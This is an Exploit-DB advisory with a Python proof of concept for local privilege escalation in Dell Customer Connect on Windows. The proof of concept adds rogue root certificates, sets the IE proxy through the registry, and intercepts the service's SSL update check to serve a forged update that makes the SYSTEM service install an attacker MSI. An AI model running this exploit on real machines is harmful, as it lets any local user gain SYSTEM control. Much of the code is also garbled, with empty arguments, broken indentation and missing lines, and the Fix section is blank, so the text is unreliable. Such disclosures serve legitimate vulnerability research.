Dell Customer Connect - Privilege Escalation

EDB-ID: 41917
Author: Kacper Szurek
Published: 2017-04-25
Type: Local
Platform: Windows
Vulnerable App: N/A

 # Date: 25.04.2017 
# Software Link:
# Exploit Author: Kacper Szurek
# Contact:
# Website:
# Category: local

1. Description

DCCService.exe is running on autostart as System.

This service has auto update functionality.

Basically it periodically checks looking for new config file.

Under normal conditions we cannot spoof this connection because it’s SSL.

But here WebUtils.sendWebRequest() is executed using Impersonator.RunImpersonated().

RunImpersonated() executes given function in the context of currently logged in user.

In Windows system we can add any certificate to Local user root store.

Then this certificate is considered as trusted so we can perform MITM attack.

It can be done using simple proxy server because by default .NET HttpWebRequest() uses IE proxy settings (which can by set by any user without administrator priveleges).

2. Proof of Concept

from _winreg import *
from threading import Thread
import os
import subprocess
import hashlib
import SimpleHTTPServer
import SocketServer
import ssl
import httplib
import time

msi_file = "exploit.msi"
cert_file = "otbs.crt"
signing_file = "code.cer"
file_port = 5555
proxy_port = 7777

print "Dell Customer Connect Privilege Escalation"
print "by Kacper Szurek"
print ""
print ""

# Simpe SSL proxy based on
class ProxyHandler(SocketServer.StreamRequestHandler):
def __init__(self, request, client_address, server):
SocketServer.StreamRequestHandler.__init__(self, request, client_address, server)

def handle(self):
global xml
line = self.rfile.readline()
for l in self.rfile:
if l == "\r\n":

if "GET /api/AppConfig" in line:
conn = httplib.HTTPSConnection(, self.port)
print "\n[+] Send XML to service"
self.wfile.write("HTTP/1.1 200 200\r\n\r\n"+xml)
elif "CONNECT" in line:
socket_ssl = ssl.wrap_socket(self.request, server_side = True, certfile = cert_file, ssl_version = ssl.PROTOCOL_SSLv23, do_handshake_on_connect = False)
self.request.send("HTTP/1.1 200 Connection Established\r\n\r\n")
host, port = self.request.getpeername() = host
self.port = port
while True:
except (ssl.SSLError, IOError):
print "\n[+] SSL Established with"
self.request = socket_ssl

class ThreadedHTTPProxyServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):

def add_to_store(name, file):
output = subprocess.Popen('certutil -user -addstore "Root" "{}"'.format(file), stdout=subprocess.PIPE).communicate()[0]
if "\"{}\" already in store".format(name) in output:
print "[+] Certificate {} already in store".format(name)
elif "\"{}\" added to store".format(name) in output:
print "[+] Add certificate {} to user root store".format(name)
print "[-] You need to click OK in order to add cert to user root store"

if not os.path.isfile(cert_file):
print "[-] Missing SSL file"

if not os.path.isfile(signing_file):
print "[-] Missing code signing file"

add_to_store("", cert_file)
add_to_store("dell inc", signing_file)

def sha256_checksum(filename, block_size=65536):
sha256 = hashlib.sha256()
with open(filename, 'rb') as f:
for block in iter(lambda:, b''):
return sha256.hexdigest()

def file_server():
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", file_port), Handler)

if not os.path.isfile(msi_file):
print "[-] Missing msi file"

sha256 = sha256_checksum(msi_file)
print "[+] MSI hash: {}".format(sha256)

print "[+] Set Proxy Server in registry"
key = OpenKey(HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Internet Settings', 0, KEY_ALL_ACCESS)
SetValueEx(key, "ProxyServer", 0, REG_SZ, "{}".format(proxy_port))
SetValueEx(key, "ProxyEnable", 0, REG_DWORD, 1)

print "[+] Start file server on port {}".format(file_port)
t1 = Thread(target = file_server)
t1.daemon = True

xml = "<UpdateResponse xmlns:xsd=\"\" xmlns:xsi=\"\"><LatestVersion></LatestVersion><UpgradeUrl>http://localhost:{}/{}</UpgradeUrl><UpgradeHash>{}</UpgradeHash><SurveyCheckInterval>1</SurveyCheckInterval></UpdateResponse>".format(file_port, msi_file, sha256)

print "[+] Start proxy server on port {}".format(proxy_port)
proxy_server = ThreadedHTTPProxyServer(("", proxy_port), ProxyHandler)
t2 = Thread(target = proxy_server.serve_forever)
t2.daemon = True

log_path = r"C:\Users\All Users\Dell\Dell Customer Connect\Logs\{}_install_log.txt".format(msi_file)

print "[+] Waiting for execution ",

while True:
if os.path.isfile(log_path):
print "\n[+] Looks like msi file was executed, exiting"
print ".",

3. Fix

Related Posts